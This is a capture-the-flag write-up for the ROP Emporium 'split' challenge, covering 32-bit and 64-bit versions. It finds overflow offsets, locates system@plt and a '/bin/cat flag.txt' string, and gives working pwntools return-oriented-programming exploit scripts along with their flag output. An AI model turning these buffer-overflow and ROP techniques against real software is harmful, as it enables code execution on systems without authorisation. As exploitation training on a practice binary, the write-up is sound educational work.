Split 32 Bit

In this challenge, the ret2win function is being split into system call and /bin/cat flag.txt string. The objective is to use ROP gadget to execute system call with “/bin/cat flag.txt” string as the argument.

Lets find the EIP offset using Radare2.

root@Perseverance:~/rop_emporium/split32# r2 -de dbg.profile=profile.rr2 split32 
Process with PID 4841 started...
= attach 4841 4841
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7f4b0b0]> dc
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44


EIP offset is 44. Find the system@plt address using objdump command.

root@Perseverance:~/rop_emporium/split32# objdump -d split32 | grep system
08048430 <system@plt>:
 8048657:       e8 d4 fd ff ff          call   8048430 <system@plt>


System@plt address is 0x8048430.  Find the string /bin/cat flag.txt address using Radare2.

root@Perseverance:~/rop_emporium/split32# r2 split32 
[0x08048480]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x08048480]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000006f0 0x080486f0  21  22 (.rodata) ascii split by ROP Emporium
001 0x00000706 0x08048706   7   8 (.rodata) ascii 32bits\n
002 0x0000070e 0x0804870e   8   9 (.rodata) ascii \nExiting
003 0x00000718 0x08048718  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x00000747 0x08048747   7   8 (.rodata) ascii /bin/ls
000 0x00001030 0x0804a030  17  18 (.data) ascii /bin/cat flag.txt


The /bin/cat flag.txt  address is 0x0804a030. This make the payload become "A" * 44 + <system_plt> + "BBBB" + <cat_flag>. The “BBBB” can be replaced with exit address, but for this challenge we don’t need to bother with that. Below is a simple python script using pwntools to automate the process.

#!/usr/bin/python
from pwn import *

def main():
    junk = "A" * 44             # EIP Offset at 44
    cat_flag = p32(0x0804a030)  # Radare2 command: izz
    system_plt = p32(0x8048430) # objdump -d split32 | grep system
    p = process("./split32")
    payload = junk + system_plt + "BBBB" + cat_flag

    p.sendlineafter(">", payload)
    print p.recvall()

if __name__ == "__main__":
    main()


Run the script and grab the flag.

root@Perseverance:~/rop_emporium/split32# ./split32.py 
[+] Starting local process './split32': pid 14170
[+] Receiving all data: Done (34B)
[*] Process './split32' stopped with exit code -11 (SIGSEGV) (pid 14170)
 ROPE{a_placeholder_32byte_flag!}



Split 64 Bit

Let’s find the RIP offset using Radare2.

root@Perseverance:~/rop_emporium/split# r2 -de dbg.profile=profile.rr2 split
Process with PID 4993 started...
= attach 4993 4993
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7fe9949ee090]> dc
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400806]> pxq 8@rsp
0x7ffded0ca798  0x41415041414f4141                       AAOAAPAA
[0x00400806]> wopO 0x41415041414f4141
40


RIP offset is 40. Find the system@plt address using objdump command.

root@Perseverance:~/rop_emporium/split# objdump -d split | grep system@plt
00000000004005e0 <system@plt>:
  400810:       e8 cb fd ff ff          callq  4005e0 <system@plt>


System@plt address is 0x4005e0. Find the string /bin/cat flag.txt address using Radare2:

root@Perseverance:~/rop_emporium/split# r2 split
[0x00400650]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Invalid instruction of 860 bytes at 0x4000ec
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x00400650]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt


The /bin/cat flag.txt address is 0x00601060.
For 64 bit, the argument needs to be passed into CPU register instead of the stack. The first six-pointer arguments are passed into RDI, RSI, RDX, RCX, R8, and R9 registers. Since this challenge only needs 1 argument, we just need to pass the /bin/cat flag.txt string into RDI register. This can be achieved using ROPGadget tools that available at https://github.com/JonathanSalwan/ROPgadget

root@Perseverance:~/rop_emporium/split# python ROPgadget.py --binary split | grep rdi
0x0000000000400883 : pop rdi ; ret


Now let’s craft the payload. The payload will become "A" * 40 + <pop_rdi> + <cat_flag> + <system_plt>. Below is a simple python script using pwntools to automate the process.

#!/usr/bin/python
from pwn import *

def main():
    junk = "A" * 40                     # RIP Offset at 40
    cat_flag = p64(0x00601060)          # Radare2 command: izz
    system_plt = p64(0x4005e0)          # objdump -d split | grep system
    pop_rdi = p64(0x0000000000400883)   # python ROPgadget.py --binary split | grep rdi
    p = process("./split")
    payload = junk + pop_rdi + cat_flag + system_plt

    p.sendlineafter(">", payload)
    print p.recvall()

if __name__ == "__main__":
    main()


Run the script and grab the flag.

root@Perseverance:~/rop_emporium/split# ./split.py 
[+] Starting local process './split': pid 14580
[+] Receiving all data: Done (34B)
[*] Process './split' stopped with exit code -11 (SIGSEGV) (pid 14580)
 ROPE{a_placeholder_32byte_flag!}